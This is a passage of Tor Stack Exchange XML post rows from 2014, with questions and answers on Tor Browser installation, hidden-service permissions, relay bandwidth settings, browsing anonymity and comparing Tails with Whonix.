  <row Id="1782" PostTypeId="1" CreationDate="2014-03-23T14:33:58.940" Score="9" ViewCount="15656" Body="&lt;p&gt;I can't find a non-installer download for the browser bundle for Windows anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still see non-installers for Mac/Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did they remove it? Why??? I hate installers since you don't know if they put stuff into the registry or user folders. When you just extract an archive you know where the files goes, THAT'S what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know if you can still get a non-installer Tor Browser bundle?&lt;/p&gt;&#xA;" OwnerUserId="1429" LastEditorUserId="923" LastEditDate="2014-03-24T13:56:09.317" LastActivityDate="2019-08-24T07:34:35.427" Title="Tor Browser Bundle for Windows without installer?" Tags="|tor-browser-bundle|windows|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1783" PostTypeId="1" CreationDate="2014-03-23T16:10:33.140" Score="6" ViewCount="2812" Body="&lt;p&gt;I am trying to experiment with running my blog as a hidden service. I am using debian on a vps to host my blog. I am using apache2 run as user www-data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to chown /var/www/wordpress to debian-tor to get the private key and hostname created. This broke my clearnet facing blog so I chowned it back to www-data. How do I deal with the fact that both tor and my webserver want to own the webroot? I tried adding debian-tor to www-data group and vice versa but no luck. Sorry if my english is bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;torrc&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/www/wordpress&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Apache listen port 80&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tor log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;warn /var/www/wordpress is not owned by this user (debian-tor but by www-data) perhaps you are running tor as wrong user&#xA;warn error loading rendezvous service keys&#xA;err set_options() Bug: Acting on config options left us in a broken state&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1430" LastEditorDisplayName="user5" LastEditDate="2014-03-23T16:19:41.230" LastActivityDate="2014-03-31T16:42:08.747" Title="Permission issues setting up hidden service" Tags="|onion-services|debian|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1784" PostTypeId="2" ParentId="1783" CreationDate="2014-03-23T16:15:54.510" Score="2" Body="&lt;p&gt;The Tor Hidden Service dir should &lt;strong&gt;not&lt;/strong&gt; be set to the same directory as your web root (it contains your private key among other things, which you don't want to serve up on your website)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a separate directory that is only accessible by your Tor user. Eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/myblog/&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then be sure to set some appropriate permissions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chown -R debian-tor:debian-tor /var/lib/tor/myblog/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2014-03-23T16:15:54.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1787" PostTypeId="2" ParentId="1503" CreationDate="2014-03-24T04:11:07.267" Score="2" Body="&lt;p&gt;If you enable &lt;code&gt;tcp-upstream: yes&lt;/code&gt; in your unbound configuration, the remote DNS server should also be able to reply to TCP requests, in other words, to be listening on port 53 TCP. I couldn't find a free DNSSEC enabled server that does this, all of them talk only UDP.&lt;/p&gt;&#xA;" OwnerUserId="1436" LastEditorUserId="88" LastEditDate="2014-03-24T22:22:09.030" LastActivityDate="2014-03-24T22:22:09.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1788" PostTypeId="1" CreationDate="2014-03-24T09:03:01.323" Score="7" ViewCount="5848" Body="&lt;p&gt;I am operating Tor relay as an exit on 10 MegaBytes/s speed network. But when checking from &lt;a href=&quot;http://atlas.torproject.org&quot; rel=&quot;noreferrer&quot;&gt;http://atlas.torproject.org&lt;/a&gt;, it shows only 700KBps Advertised Bandwidth. How to increase this bandwidth?&lt;/p&gt;&#xA;" OwnerUserId="1384" LastEditorUserId="88" LastEditDate="2014-06-30T22:51:47.853" LastActivityDate="2021-03-03T09:28:37.890" Title="How to increase the Advertised Bandwidth of Tor onion router (OR)?" Tags="|exit-relays|bandwidth|atlas|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1790" PostTypeId="1" CreationDate="2014-03-24T10:00:22.050" Score="6" ViewCount="1331" Body="&lt;p&gt;What I did:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I used Tor Browser Bundle and created a fictitious Facebook account. The Facebook was registered through a fake email, No personal information was given.&lt;/li&gt;&#xA;&lt;li&gt;I uploaded the video and copied its direct link.&lt;/li&gt;&#xA;&lt;li&gt;Through TBB, I sent by email the link to the Home Minister and Human Rights Organisation.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Anyways, the hunt to track me down is on. As the question of law is involved, my country can issue warrant to seize the exit node or something like that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I really be tracked down if the whole government (which is in power these days and the Minister/politician is one of them) wants go to any extent. I am in one of the Asian countries. At the time of hosting video, the exit node was that of Italy and the IP address which went inside email belongs to exit node of Romania.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindly guide me on this matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1, For how long should I use the same bridges? I feed 6-7 entry bridges (not obscure bridges) in the TBB and use them until they expire. Is it the right way?&lt;/p&gt;&#xA;" OwnerUserId="1438" LastEditorDisplayName="user5" LastEditDate="2014-03-24T22:49:48.063" LastActivityDate="2014-04-23T23:13:11.937" Title="How much time they may take to track me down?" Tags="|anonymity|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1791" PostTypeId="2" ParentId="1761" CreationDate="2014-03-24T11:45:44.680" Score="2" Body="&lt;p&gt;I would'nt answer your question. I'll say my opinion:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Any Radio jammer&lt;/li&gt;&#xA;&lt;li&gt;Any Tor node&lt;/li&gt;&#xA;&lt;li&gt;Any home brewed encryption &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;They start watching you.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;One of the most famous forum for you to ask your question is &lt;a href=&quot;https://www.pgpru.com/&quot; rel=&quot;nofollow&quot;&gt;www.pgpru.com&lt;/a&gt;. There are couple of jurists who could answer you more broadly.&lt;/p&gt;&#xA;" OwnerUserId="1030" LastEditorUserId="923" LastEditDate="2014-03-24T21:41:20.620" LastActivityDate="2014-03-24T21:41:20.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1792" PostTypeId="1" CreationDate="2014-03-24T12:22:54.533" Score="1" ViewCount="340" Body="&lt;p&gt;I ran into this error when I tried to use Scamblesuit+openvpn.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;File &quot;/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py&quot;, line 586, in _doReadOrWrite&#xA;    why = selectable.doRead()&#xA;File &quot;/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py&quot;, line 199, in doRead&#xA;    rval = self.protocol.dataReceived(data)&#xA;File &quot;/usr/local/lib/python2.7/dist-packages/obfsproxy-0.2.7-py2.7.egg/obfsproxy/network/socks5.py&quot;, line 162, in dataReceived&#xA;    self.processAuthentication()&#xA;File &quot;/usr/local/lib/python2.7/dist-packages/obfsproxy-0.2.7-py2.7.egg/obfsproxy/network/socks5.py&quot;, line 234, in processAuthentication&#xA;    self.AUTH_METHOD_VTABLE[self.authMethod](self)&#xA;File &quot;/usr/local/lib/python2.7/dist-packages/obfsproxy-0.2.7-py2.7.egg/obfsproxy/network/socks5.py&quot;, line 131, in &amp;lt;lambda&amp;gt;&#xA;    (lambda self: self.processNoAuthRequired()),&#xA;File &quot;/usr/local/lib/python2.7/dist-packages/obfsproxy-0.2.7-py2.7.egg/obfsproxy/network/socks5.py&quot;, line 320, in processNoAuthRequired&#xA;    self.processRequest()&#xA;File &quot;/usr/local/lib/python2.7/dist-packages/obfsproxy-0.2.7-py2.7.egg/obfsproxy/network/socks5.py&quot;, line 380, in processRequest&#xA;    port = msg.get_uint16(True)&#xA;File &quot;/usr/local/lib/python2.7/dist-packages/obfsproxy-0.2.7-py2.7.egg/obfsproxy/network/socks5.py&quot;, line 507, in get_uint16&#xA;    ret = struct.unpack(&quot;!H&quot;, self[0:2])[0]&#xA;struct.error: unpack requires a string argument of length 2&#xA;2014-03-24 19:48:54,053 [DEBUG] socks_up_0xdabc30: Connection was lost (unpack requires a string argument of length 2).&#xA;2014-03-24 19:48:54,055 [DEBUG] socks_up_0xdabc30: Closing connection.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think the length of &lt;code&gt;self[0:2]&lt;/code&gt; is 2. Can anyone shed some light on this, thanks.&lt;/p&gt;&#xA;" OwnerUserId="1439" LastEditorUserId="88" LastEditDate="2014-03-24T13:58:32.903" LastActivityDate="2014-04-26T06:38:12.557" Title="how to make Scamblesuit+openvpn work?" Tags="|obfsproxy|openvpn|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1793" PostTypeId="2" ParentId="1782" CreationDate="2014-03-24T12:43:32.000" Score="1" Body="&lt;p&gt;You could always build on Onion Pi or just buy a router already loaded with it like PAPARouter  ( cheap: 100.00)&#xA;U can anonymize all your stuff then. Nothing the Feds love better than zero day exploits on the Windows browser bundle anyway &lt;/p&gt;&#xA;" OwnerUserId="404" LastActivityDate="2014-03-24T12:43:32.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1795" PostTypeId="2" ParentId="1788" CreationDate="2014-03-24T16:34:54.420" Score="2" Body="&lt;p&gt;In your torrc, there are 2 keys that determine your advertised relay bandwidth:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;RelayBandwidthRate&lt;/code&gt;  - Sets/limits how much bandwidth you allow for&#xA;relaying. &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;MaxAdvertisedBandwidth&lt;/code&gt; - May not be higher than&#xA;&lt;em&gt;RelayBandwidthRate&lt;/em&gt;. If you don't have this entry, then your &lt;em&gt;RelayBandwidthRate&lt;/em&gt; is advertised.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-03-24T16:34:54.420" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1796" PostTypeId="2" ParentId="1790" CreationDate="2014-03-24T22:10:06.317" Score="2" Body="&lt;p&gt;Your question is quite hard to answer, because I don't know many of such cases where all details are known. However your question deals a lot with &lt;a href=&quot;https://en.wikipedia.org/wiki/Operational_security&quot; rel=&quot;nofollow&quot;&gt;operational security (OPSEC)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the important OPSEC rules is to never talk about your plans or what you did. You clearly violated this rule. However the occasional reader as well as Stackexchange might not be able to deanonymize you. I assume you also used some precautions here. It is quite important to never talk about to people who know your real identity or are able to track you down. This often led to deanonymisation in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore if you're writing texts you should be aware that one can try to identify by the way you are writing (&lt;a href=&quot;https://en.wikipedia.org/wiki/Stylometry&quot; rel=&quot;nofollow&quot;&gt;stylometry&lt;/a&gt;). So be careful when writing texts online. Try to adapt to another style.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You used the Tor Browser Bundle. The first question that comes to mind is how you downloaded the TBB. So when to few people using this kind of software, the attacker might be able to track you down with this knowledge. The attacker knows when the incident happened and when the video was uploaded/sent. If there are only a few downloads from a small set of IP addresses, he needs to check those people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bundle writes some data to your disk (see &lt;a href=&quot;https://tor.stackexchange.com/a/180/88&quot;&gt;Can I expect the Tor Browser Bundle not to leak information to the file system an other applications?&lt;/a&gt; and &lt;a href=&quot;https://tor.stackexchange.com/a/1665/88&quot;&gt;How to stop the Tor Browser from storing sensitive data in its .local directory?&lt;/a&gt;). So you should delete all those data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is usually out of scope is a seizure of the exit node. This has to happen in a timely manner and even than the chance of finding some usable data is next to zero. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general: The more you stick to OPSEC rules the harder is it to track you down. On the downside can a minimal blunder completely reveal your identity. So stay quiet, calm and safe.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-03-24T22:10:06.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1797" PostTypeId="2" ParentId="1782" CreationDate="2014-03-24T22:20:46.563" Score="1" Body="&lt;p&gt;Just go to the &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow&quot;&gt;download page&lt;/a&gt;. Depending from your operating system (or the one your browser reports) you'll see the download button for Windows/Linux/Mac. Also at the &lt;a href=&quot;https://www.torproject.org/download/download.html.en&quot; rel=&quot;nofollow&quot;&gt;main download site&lt;/a&gt; there are links to all versions. Select the correct version and download it. At the moment the download link for windows points to &lt;a href=&quot;https://www.torproject.org/dist/torbrowser/3.5.3/torbrowser-install-3.5.3_en-US.exe&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/dist/torbrowser/3.5.3/torbrowser-install-3.5.3_en-US.exe&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-03-24T22:20:46.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1798" PostTypeId="1" CreationDate="2014-03-25T00:24:42.310" Score="1" ViewCount="368" Body="&lt;p&gt;I'd like to know how safe is it to use the Tor-browser-bundle (for linux, in case it matters) at the same time as another browser (firefox, in case it matters) normally installed, and why.&#xA;Now I am closing it, but often I would rather not close it. I haven't found but one and unclear answer to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More generally I would like to know if other internet traffic: amule, email clients, social software (pidgin) etc. that are not configured to use Tor (I understand they shouldn't) should be stopped when using the Tor browser bundle.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastEditorUserId="923" LastEditDate="2014-06-24T08:25:31.050" LastActivityDate="2014-06-24T08:25:31.050" Title="Browsing with Tor bundle and without at the same time" Tags="|tor-browser-bundle|browsers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1800" PostTypeId="2" ParentId="1798" CreationDate="2014-03-25T06:13:18.467" Score="1" Body="&lt;p&gt;I don't know about using other protocols at the same time, but browsing the same website at the same time with and without Tor is discouraged because it would be easy for site owner to find your Tor IP and non Tor IP through miss and match. &lt;/p&gt;&#xA;" OwnerUserId="158" LastEditorUserId="923" LastEditDate="2014-06-23T15:17:21.457" LastActivityDate="2014-06-23T15:17:21.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1801" PostTypeId="1" CreationDate="2014-03-25T12:13:50.780" Score="1" ViewCount="801" Body="&lt;p&gt;Can commenting on YouTube videos (including signing into Google+, etc) happen on Tor Browser, or is it not implemented? I'm on an Ubuntu Linux build.&lt;/p&gt;&#xA;" OwnerUserId="1453" LastEditorUserId="6656" LastEditDate="2023-05-05T11:56:29.783" LastActivityDate="2023-05-05T11:57:09.787" Title="Can I comment on YouTube videos using Tor Browser?" Tags="|tor-browser-bundle|linux|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="1802" PostTypeId="2" ParentId="1741" CreationDate="2014-03-25T12:25:14.770" Score="2" Body="&lt;p&gt;I have found the reason for such leakage. It is actually fingerprinting of browser kind of technique which Facebook uses. First of all I disabled the Bookmarks Toolbar in TBB and then created a new profile. This time it showed me pages of United States. Then I tried creating a new profile after disabling the &quot;addons toolbar&quot; and this time it showed me the pages of some other country. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when I again enabled both the toolbars in my TBB, the pages of my country were shown. It means most of the people of my country use TBB with the bookmarks and addons bar on.&lt;/p&gt;&#xA;" OwnerUserId="1454" LastActivityDate="2014-03-25T12:25:14.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1803" PostTypeId="1" AcceptedAnswerId="1807" CreationDate="2014-03-25T12:45:49.483" Score="2" ViewCount="1516" Body="&lt;p&gt;I am a bit of a tabs nut, and have been trying to read up on various parts of staying anonymous but where I am the ISP is owned by the gov (relatives of the pres) and they don't like the whole idea of people being anonymous soooo (this is going somewhere) I have been trying to read up somewhat incognito using the TBB but I gotta say its not the most convenient way (for me) to go through lots of material. I usually have lots of tabs open and use a addon (in my none tor bb browser) to manage tabs etc which helps me organize my reading etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question is (are): &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;in a country as small as mine with limited tor usage how visible would I be making myself using 1-2 extra addons?&lt;/li&gt;&#xA;&lt;li&gt;If opening up tor with tabs from last time is that problematic (which i assume it is since it is totally disabled in tor bb) is there some sort of work around? Like these external bookmarking programs, except for tabs? Something similar to &quot;&lt;a href=&quot;https://chrome.google.com/webstore/detail/tabs-outliner/eggkanocgddhmamlbiijnphhppkpkmkl?hl=en&quot; rel=&quot;nofollow&quot;&gt;Tabs Outliner&lt;/a&gt;&quot; (for chrome) but as a separate program that wouldn't been seen my websites that I'd be browsing?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1452" LastEditorUserId="1452" LastEditDate="2014-03-26T07:43:34.927" LastActivityDate="2017-09-17T05:13:46.103" Title="What are the implications of &quot;starting up with tabs/windows from last time&quot;" Tags="|tor-browser-bundle|anonymity|tails|whonix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1804" PostTypeId="2" ParentId="1798" CreationDate="2014-03-25T13:14:40.250" Score="0" Body="&lt;p&gt;As long as you don't browse the &lt;em&gt;same&lt;/em&gt; web sites with both browsers, and you don't login to any account, there is no correlation. Any non-Tor traffic that has &lt;em&gt;no relation&lt;/em&gt; to your Tor traffic will not compromise your Tor traffic. As soon as you connect to the same destination with and without Tor, they might figure out that these connections are from the same person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you login to an account through Tor, that you have created or previously logged in to &lt;em&gt;without&lt;/em&gt; Tor, then you lose anonymity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you send unencrypted login credentials through Tor, then your account may be compromised. There is no problem using Tor for email and chat, as long as the services use encryption (ssl/tls). (Otherwise you transmit unencrypted credentials and content.)&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-03-25T13:14:40.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1805" PostTypeId="2" ParentId="1801" CreationDate="2014-03-25T15:48:00.257" Score="2" Body="&lt;p&gt;You may sign in to Google+ and YouTube, and comment on YouTube. However, you lose anonymity as soon as you do so.&lt;/p&gt;&#xA;&lt;p&gt;In addition, you will be marked as a Tor user. Once somebody is marked as a Tor user, it becomes easier for adversaries to test the hypothesis of if it was you who visited a particular site or wrote a particular comment even if you do not sign in, that is if adversaries choose to do so in some future point.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="6656" LastEditDate="2023-05-05T11:57:09.787" LastActivityDate="2023-05-05T11:57:09.787" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="1806" PostTypeId="2" ParentId="1729" CreationDate="2014-03-25T17:23:47.107" Score="3" Body="&lt;p&gt;You can completely use Dashlane in conjunction with Tor, there is no reason why it shouldn’t work. Though, in my opinion it does not make a lot of sense considering that a password manager's purpose is to log you into websites with your accounts, and once this is done, you are not anonymous anymore on those websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a side note, login into your Dashlane account does not require any internet connection, the requests which are sent when you login are sent to sync your personal data, and to check whether your device is still authorized (&lt;a href=&quot;http://support.dashlane.com/customer/portal/articles/656784-what-happens-if-my-phone-is-lost-or-stolen-with-all-my-dashlane-data-&quot; rel=&quot;nofollow&quot;&gt;http://support.dashlane.com/customer/portal/articles/656784-what-happens-if-my-phone-is-lost-or-stolen-with-all-my-dashlane-data-&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I am a developer at Dashlane.&lt;/p&gt;&#xA;" OwnerUserId="1455" LastActivityDate="2014-03-25T17:23:47.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1807" PostTypeId="2" ParentId="1803" CreationDate="2014-03-25T17:54:28.680" Score="0" Body="&lt;p&gt;I would suggest that you stay away from using tabs that persist between application starts. (As well, it's best to not use any additional addons in TBB).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are different implementations, but often tabs that reopen between browser starts and stops (i.e.: starting and shutting down your browser) will actually make a new request to the server at startup to refresh the open tab.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Work arounds&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The best way to review the data you've accessed over Tor is to download and save it. You can do this on to an encrypted drive for maximum security(*). Since the web pages you download will often contain links or other calls to other network resources, for maximum safety I would only open/view the saved documents on a machine with networking disabled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*) The Tails Tor distribution helps make this easier.&lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="610" LastEditDate="2014-03-26T16:56:14.110" LastActivityDate="2014-03-26T16:56:14.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1809" PostTypeId="1" CreationDate="2014-03-26T06:08:44.063" Score="4" ViewCount="6683" Body="&lt;p&gt;My desktop is connected to our office network. If I use the Tor browser, can our IT trace that I'm the one using Tor in the office? Could the websites I visited using Tor browser also traced back?&lt;/p&gt;&#xA;" OwnerUserId="1456" LastEditorUserId="88" LastEditDate="2014-05-06T19:41:30.463" LastActivityDate="2014-05-07T10:34:43.567" Title="Can someone in our local network find out that I use Tor browser?" Tags="|tor-browser-bundle|anonymity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1810" PostTypeId="2" ParentId="1782" CreationDate="2014-03-26T08:33:37.130" Score="1" Body="&lt;p&gt;Well this is not a zip but 7z can unzip this exe no problem (tried it) and then you can just move the &quot;Start Tor Browser.exe&quot; to the &quot;$_OUTDIR&quot; folder and you have in effect the same deal without having to execute the file. &lt;/p&gt;&#xA;" OwnerUserId="1452" LastActivityDate="2014-03-26T08:33:37.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1811" PostTypeId="2" ParentId="1809" CreationDate="2014-03-26T08:39:47.707" Score="4" Body="&lt;p&gt;Your IT is able to see that you are using Tor. In general Tor doesn't hide this fact. There is one famous example of a &lt;a href=&quot;https://www.schneier.com/blog/archives/2013/12/tor_user_identi.html&quot; rel=&quot;nofollow&quot;&gt;Tor user who was identified because he was the only one using it&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possible way to work around this is to use Tor's bridges. They try to hide the fact that you are using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general it is not possible that your network administrator can find out what pages you visit using Tor Browser. However if the department is able to remotely logon to your computer or to manipulate files they might be able to see everything you're doing with your whole system.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-05-06T19:43:21.673" LastActivityDate="2014-05-06T19:43:21.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1812" PostTypeId="2" ParentId="1809" CreationDate="2014-03-26T11:09:56.400" Score="7" Body="&lt;p&gt;&lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow noreferrer&quot;&gt;This interactive diagram&lt;/a&gt; offers a good explanation of who can can know what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FxTQ3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user66" LastEditorUserId="743" LastEditDate="2014-05-07T10:34:43.567" LastActivityDate="2014-05-07T10:34:43.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1813" PostTypeId="1" CreationDate="2014-03-26T12:20:10.800" Score="3" ViewCount="182" Body="&lt;p&gt;I have tried to sign up for a few services/accounts, most recently on &lt;a href=&quot;http://forums.debian.net&quot; rel=&quot;nofollow&quot;&gt;http://forums.debian.net&lt;/a&gt; and was pretty much denied with messages like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IP Address 78.108.63.44 is listed in the CBL. It appears to be infected with a spam sending trojan, proxy or some other form of botnet.&#xA;It was last detected at 2014-03-26 07:00 GMT (+/- 30 minutes), approximately 5 hours ago.&#xA;This IP address is infected with, or is NATting for a machine infected with the ZeuS trojan, also known as &quot;Zbot&quot; and &quot;WSNPoem&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got similar messages for each of the 4 times I tried a new identify and tried to re-sign up. This is a bit frusterating and I was wondering if there is some way around this without compromising my anonymity? &lt;/p&gt;&#xA;" OwnerUserId="1452" LastActivityDate="2014-04-25T17:34:32.777" Title="How to sign up for services that are banning you? (because of Tor?)" Tags="|tor-browser-bundle|anonymity|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1814" PostTypeId="1" AcceptedAnswerId="1817" CreationDate="2014-03-26T16:52:35.590" Score="14" ViewCount="63604" Body="&lt;p&gt;&lt;a href=&quot;https://www.whonix.org&quot;&gt;Whonix&lt;/a&gt; and &lt;a href=&quot;https://tails.boum.org&quot;&gt;Tails&lt;/a&gt; both have the goals of providing a complete package for anonymizing internet usage. What are the primary differences between the two?&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2020-10-27T12:48:29.587" Title="What are the differences between Tails and Whonix?" Tags="|tails|whonix|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1815" PostTypeId="2" ParentId="1813" CreationDate="2014-03-26T17:13:39.083" Score="1" Body="&lt;p&gt;One way is to tunnel through another proxy or VPN. In that case however, depending on the actual use case and situation it might make sense to just connect to the VPN and not through Tor.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-03-26T17:13:39.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1816" PostTypeId="2" ParentId="1780" CreationDate="2014-03-26T17:21:23.110" Score="2" Body="&lt;p&gt;It depends on whether you created or ever used this service without Tor. Your email address is another identifier, that is kept over Tor sessions. It might make sense to use an offline password manager (&lt;a href=&quot;http://www.dmoz.org/Computers/Security/Products_and_Tools/Password_Tools/&quot; rel=&quot;nofollow&quot;&gt;DMOZ&lt;/a&gt; has a list) or a tool like &lt;a href=&quot;http://www.passwordmaker.org/&quot; rel=&quot;nofollow&quot;&gt;PasswordMaker&lt;/a&gt; instead, so you don't need any form of account that could be used to tack you.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-03-26T17:21:23.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1817" PostTypeId="2" ParentId="1814" CreationDate="2014-03-26T17:46:32.427" Score="14" Body="&lt;p&gt;It is difficult to break down the huge &lt;a href=&quot;https://www.whonix.org/wiki/Comparison_with_Others&quot; rel=&quot;nofollow noreferrer&quot;&gt;Comparison of Whonix and Tails&lt;/a&gt; to primary differences.&lt;/p&gt;&#xA;&lt;p&gt;Anyway, I'd say:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tails: concentrates on being a Live DVD / Live USB; being amnesic; mobile market&lt;/li&gt;&#xA;&lt;li&gt;Whonix: concentrates on &amp;quot;keep user safe, even when running arbitrary, leaky non-Tor-safe applications and servers through Tor&amp;quot;; support customization to your heart's content (as in tunnel &lt;a href=&quot;https://www.whonix.org/wiki/Features#VPN_.2F_Tunnel_support&quot; rel=&quot;nofollow noreferrer&quot;&gt;VPN/proxy&lt;/a&gt;/&lt;a href=&quot;https://www.whonix.org/wiki/i2p&quot; rel=&quot;nofollow noreferrer&quot;&gt;i2p&lt;/a&gt;/&lt;a href=&quot;https://www.whonix.org/wiki/JonDonym&quot; rel=&quot;nofollow noreferrer&quot;&gt;JonDo&lt;/a&gt; etc. through Tor); &lt;a href=&quot;https://www.whonix.org/wiki/Hosting_Location_Hidden_Services&quot; rel=&quot;nofollow noreferrer&quot;&gt;location hidden servers&lt;/a&gt;; installed on computer. Also has live mode:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.whonix.org/wiki/VM_Live_Mode&quot; rel=&quot;nofollow noreferrer&quot;&gt;Whonix VM Live Mode&lt;/a&gt;, or&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.whonix.org/wiki/Host_Live_Mode&quot; rel=&quot;nofollow noreferrer&quot;&gt;Whonix Host Live Mode&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;See also, &lt;a 